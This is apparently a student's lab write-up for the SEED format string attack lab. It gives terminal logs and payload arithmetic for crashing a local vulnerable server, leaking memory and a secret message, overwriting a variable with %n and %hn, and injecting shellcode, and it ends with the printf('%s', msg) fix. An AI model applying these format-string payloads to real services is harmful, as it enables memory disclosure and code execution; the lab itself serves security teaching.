Format String Attack Lab

Task 1: Crashing the Program

Set up docker and environment:

```
[09/29/25]seed@VM:~/.../server-code$ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -z execstack  -static -m32 -o format-32 format.c
format.c: In function ‘myprintf’:
format.c:44:5: warning: format not a string literal and no format a
rguments [-Wformat-security]
   44 |     printf(msg);
      |     ^~~~~~
gcc -DBUF_SIZE=100 -z execstack  -o format-64 format.c
format.c: In function ‘myprintf’:
format.c:44:5: warning: format not a string literal and no format a
rguments [-Wformat-security]
   44 |     printf(msg);
      |     ^~~~~~
```

```
[09/29/25]seed@VM:~/.../server-code$ make install
cp server ../fmt-containers
cp format-* ../fmt-containers
```

```
[09/29/25]seed@VM:~/.../Labsetup$ docker-compose build
Building fmt-server-1
Step 1/6 : FROM handsonsecurity/seed-ubuntu:small
 ---> 1102071f4a1d
Step 2/6 : COPY server    /fmt/
 ---> 28969a003c99
Step 3/6 : ARG ARCH
 ---> Running in b2c361a788fc
Removing intermediate container b2c361a788fc
 ---> f7c9563df577
Step 4/6 : COPY format-${ARCH}  /fmt/format
 ---> 791f19cb36c1
Step 5/6 : WORKDIR /fmt
 ---> Running in 1540cee89f26
Removing intermediate container 1540cee89f26
 ---> d8eaa4b4f0e6
Step 6/6 : CMD ./server
 ---> Running in 3679d1ceff06
Removing intermediate container 3679d1ceff06
 ---> c3ac41c8bdb2

Successfully built c3ac41c8bdb2
Successfully tagged seed-image-fmt-server-1:latest
Building fmt-server-2
Step 1/6 : FROM handsonsecurity/seed-ubuntu:small
 ---> 1102071f4a1d
Step 2/6 : COPY server    /fmt/
 ---> Using cache
 ---> 28969a003c99
Step 3/6 : ARG ARCH
 ---> Using cache
 ---> f7c9563df577
Step 4/6 : COPY format-${ARCH}  /fmt/format
 ---> 6d14e35ec61e
Step 5/6 : WORKDIR /fmt
 ---> Running in 2ff5a1091ee0
Removing intermediate container 2ff5a1091ee0
 ---> 10d079cd050d
Step 6/6 : CMD ./server
 ---> Running in 18da02608245
Removing intermediate container 18da02608245
 ---> e0fa90ec372c

Successfully built e0fa90ec372c
Successfully tagged seed-image-fmt-server-2:latest
```

Send a message to the server

```
[09/29/25]seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
^C
```

See response

```
[09/29/25]seed@VM:~/.../Labsetup$ docker logs -f server-10.9.0.5
Got a connection from 10.9.0.1
Starting format
The input buffer's address:    0xffffd5b0
The secret message's address:  0x080b4008
The target variable's address: 0x080e5068
Waiting for user input ......
Received 6 bytes.
Frame Pointer (inside myprintf):      0xffffd4d8
The target variable's value (before): 0x11223344
hello
The target variable's value (after):  0x11223344
(^_^)(^_^)  Returned properly (^_^)(^_^)
```

Using the build_string.py file, we create a badfile and send it to the server

```
[09/29/25]seed@VM:~/.../attack-code$ ./build_string.py
[09/29/25]seed@VM:~/.../attack-code$ ls
badfile  build_string.py  exploit.py
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
Got a connection from 10.9.0.1
Starting format
The input buffer's address:    0xffffd5b0
The secret message's address:  0x080b4008
The target variable's address: 0x080e5068
Waiting for user input ......
Received 1500 bytes.
Frame Pointer (inside myprintf):      0xffffd4d8
The target variable's value (before): 0x11223344
```

From this, we can see that "(^_^)(^_^) Returned properly (^_^)(^_^)" was not printed so we successfully crashed the function.

Task 2: Printing Out the Server Program's Memory

Pick a marker → 0x40404040 and update build_string.py

```
[09/29/25]seed@VM:~/.../attack-code$ nano build_string.py
[09/29/25]seed@VM:~/.../attack-code$ ./build_string.py
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

Then send the file to the server

```
Got a connection from 10.9.0.1
Starting format
The input buffer's address:    0xffffd5b0
The secret message's address:  0x080b4008
The target variable's address: 0x080e5068
Waiting for user input ......
Received 133 bytes.
Frame Pointer (inside myprintf):      0xffffd4d8
The target variable's value (before): 0x11223344
@@@@1122334410008049db580e532080e61c0ffffd5b0ffffd4d880e62d480e5000ffffd5788049f7effffd5b0
0648049f4780e5320557ffffd635ffffd5b080e532080e97200000000000000000000000000981d450080e5000
80e5000ffffdb988049effffffd5b0855dc80e5320000ffffdc640008540404040
The target variable's value (after):  0x11223344
(^_^)(^_^)  Returned properly (^_^)(^_^)
```

In the printed sequence the marker 40404040 appears as the 64th printed token. That means you need 64 %x specifiers to reach the first 4 bytes of your input in this run.

Do the same for the hex string using the secret message's address

```
Got a connection from 10.9.0.1
Starting format
The input buffer's address:    0xffffd5b0
The secret message's address:  0x080b4008
The target variable's address: 0x080e5068
Waiting for user input ......
Received 1500 bytes.
Frame Pointer (inside myprintf):      0xffffd4d8
The target variable's value (before): 0x11223344
@
abcd1122334410008049db580e532080e61c0ffffd5b0ffffd4d880e62d480e5000ffffd5788049f7effffd5b0
0648049f4780e53205dc5dcffffd5b0ffffd5b080e97200000000000000000000000009e66a90080e500080e5
000ffffdb988049effffffd5b05dc5dc80e5320000ffffdc640005dcA secret message
The target variable's value (after):  0x11223344
(^_^)(^_^)  Returned properly (^_^)(^_^)
```

In which we were able to get the secret message.

Task 3: Modifying the Server Program's Memory

We use the offset that we got from 2A → 64, use the target variable address: 0x080e5068 and modify build_string.py once again

```
[09/29/25]seed@VM:~/.../attack-code$ nano build_string.py
[09/29/25]seed@VM:~/.../attack-code$ ./build_string.py
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

```
Got a connection from 10.9.0.1
Starting format
The input buffer's address:    0xffffd5b0
The secret message's address:  0x080b4008
The target variable's address: 0x080e5068
Waiting for user input ......
Received 1500 bytes.
Frame Pointer (inside myprintf):      0xffffd4d8
The target variable's value (before): 0x11223344
habcd1122334400001000080049db5080e5320080e61c0ffffd5b0ffffd4d8080e62d4080e5000ffffd57808049
f7effffd5b0000000000000000006408049f47080e5320000005dc000005dcffffd5b0ffffd5b0080e97200000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000041799500080e5000080e5000ffffdb9808049effffffd5b0000005dc000005dc080e532000000
00000000000000000000ffffdc64000000000000000000000000005dcThe target variable's value (af
ter):  0x00000200
(^_^)(^_^)  Returned properly (^_^)(^_^)
```

From this, we can see that we were able to change the target variable's value from before (0x11223344) to after (0x00000200).

We use the offset that we got from 2A → 64, use the target variable address: 0x080e5068 and modify build_string.py once again
Calculate: 0x5000 = 20480 → 20480 - (8*63) =19976
Therefore we modify build_string.py to %.19976x%n"

```
[09/29/25]seed@VM:~/.../attack-code$ nano build_string.py
[09/29/25]seed@VM:~/.../attack-code$ ./build_string.py
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
Got a connection from 10.9.0.1
Starting format
The input buffer's address:    0xffffd5b0
The secret message's address:  0x080b4008
The target variable's address: 0x080e5068
Waiting for user input ......
Received 1500 bytes.
Frame Pointer (inside myprintf):      0xffffd4d8
The target variable's value (before): 0x11223344
habcd1122334400001000080049db5080e5320080e61c0ffffd5b0ffffd4d8080e62d4080e5000ffffd57808049
f7effffd5b0000000000000000006408049f47080e5320000005dc000005dcffffd5b0ffffd5b0080e97200000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000cfbdc00080e5000080e5000ffffdb9808049effffffd5b0000005dc000005dc080e532000000
00000000000000000000ffffdc64000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
```

```
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000005dcThe target variable's value (after):  0x000
05000
(^_^)(^_^)  Returned properly (^_^)(^_^)
```

From this we can see that the value before (0x11223344) was changed to (0x00005000) as we wanted to.

Similarly do the same process as before
0xAABB → 43707 - (8*62) - 12 = 43199
0xCCDD → 52445 - 43707= 8738
Therefore we modify build_string.py to %.43199x&hn.8738x%hn”

```
[09/29/25]seed@VM:~/.../attack-code$ nano build_string.py
[09/29/25]seed@VM:~/.../attack-code$ ./build_string.py
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
Got a connection from 10.9.0.1
Starting format
The input buffer's address:    0xffffd5b0
The secret message's address:  0x080b4008
The target variable's address: 0x080e5068
Waiting for user input ......
Received 1500 bytes.
Frame Pointer (inside myprintf):      0xffffd4d8
The target variable's value (before): 0x11223344
habcd1122334400001000080049db5080e5320080e61c0ffffd5b0ffffd4d8080e62d4080e5000ffffd57808049
f7effffd5b0000000000000006408049f47080e5320000005dc000005dcffffd5b0ffffd5b0080e97200000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000cfbdc00080e5000080e5000ffffdb9808049effffffd5b0000005dc000005dc080e532000000
0000000000000000000ffffdc64000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000005dcThe target variable's value (after): 0xAABBCCDD
(^_^)(^_^) Returned properly (^_^)(^_^)
```

From this we can see that the value before (0x11223344) was changed to (0xAABBCCDD) as we wanted to.

Task 4: Inject Malicious Code into the Server Program
Similar to before, but now use Frame pointer → 0xffffd4d8

0xFFFF → 65535 → 65535 - 12 - (8*62) - (1*62) = 64965
Input buffer's address → 0xffffd5b0 → 54704 + 1 + 0x168 = 55065
Therefore, we get "%.8x."*62 + "%.64965x"+"%hn" + "&.55065x" + "%hn"
Modify exploit.py

```
[09/29/25]seed@VM:~/.../attack-code$ nano exploit.py
[09/29/25]seed@VM:~/.../attack-code$ ./exploit.py
332
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
Got a connection from 10.9.0.1
Starting format
The input buffer's address:    0xffffd5b0
The secret message's address:  0x080b4008
The target variable's address: 0x080e5068
Waiting for user input ......
Received 1500 bytes.
Frame Pointer (inside myprintf):      0xffffd4d8
The target variable's value (before): 0x11223344
[illegible]11223344.00001000.08049db5.080e5320.080e61c0.ffffd5b0.ffffd4d8.080e62d4.080e50
00.ffffd578.08049f7e.ffffd5b0.00000000.00000064.08049f47.080e5320.000005dc.000005dc.ffffd5
b0.ffffd5b0.080e9720.00000000.00000000.00000000.00000000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.08f9d300.080e5000.080e50
00.ffffdb98.08049eff.ffffd5b0.000005dc.000005dc.080e5320.00000000.00000000.00000000.ffffdc
64.00000000.00000000.00000000.000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
```

From this, we can see that we were able to run the shellcode by using exploit.py

Task 6: Fixing the Problem

Modify printf(msg) to printf("%s",msg) and make again

```
[09/29/25]seed@VM:~/.../server-code$ nano format.c
[09/29/25]seed@VM:~/.../server-code$ make
gcc -DBUF_SIZE=100 -z execstack  -static -m32 -o format-32 format.c
gcc -DBUF_SIZE=100 -z execstack  -o format-64 format.c
[09/29/25]seed@VM:~/.../server-code$ make install
cp server ../fmt-containers
cp format-* ../fmt-containers
```

And run attack from task 1

```
Got a connection from 10.9.0.1
Starting format
The input buffer's address:    0xffffd830
The secret message's address:  0x080b4008
The target variable's address: 0x080e5068
Waiting for user input ......
Received 1500 bytes.
Frame Pointer (inside myprintf):      0xffffd758
The target variable's value (before): 0x11223344
[illegible]abcd%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%nThe target variable's value (aft
er):  0x11223344
(^_^)(^_^)  Returned properly (^_^)(^_^)
```

From this, we can see that “Returned properly” is printed, which means we did not crash the program, preventing the attack. By fixing the code to printf("%s", msg), the user input is treated as plain text rather than a format string. After this change, the warning disappears, and previous attacks using %n or other format specifiers no longer work because the input is no longer interpreted as a format string.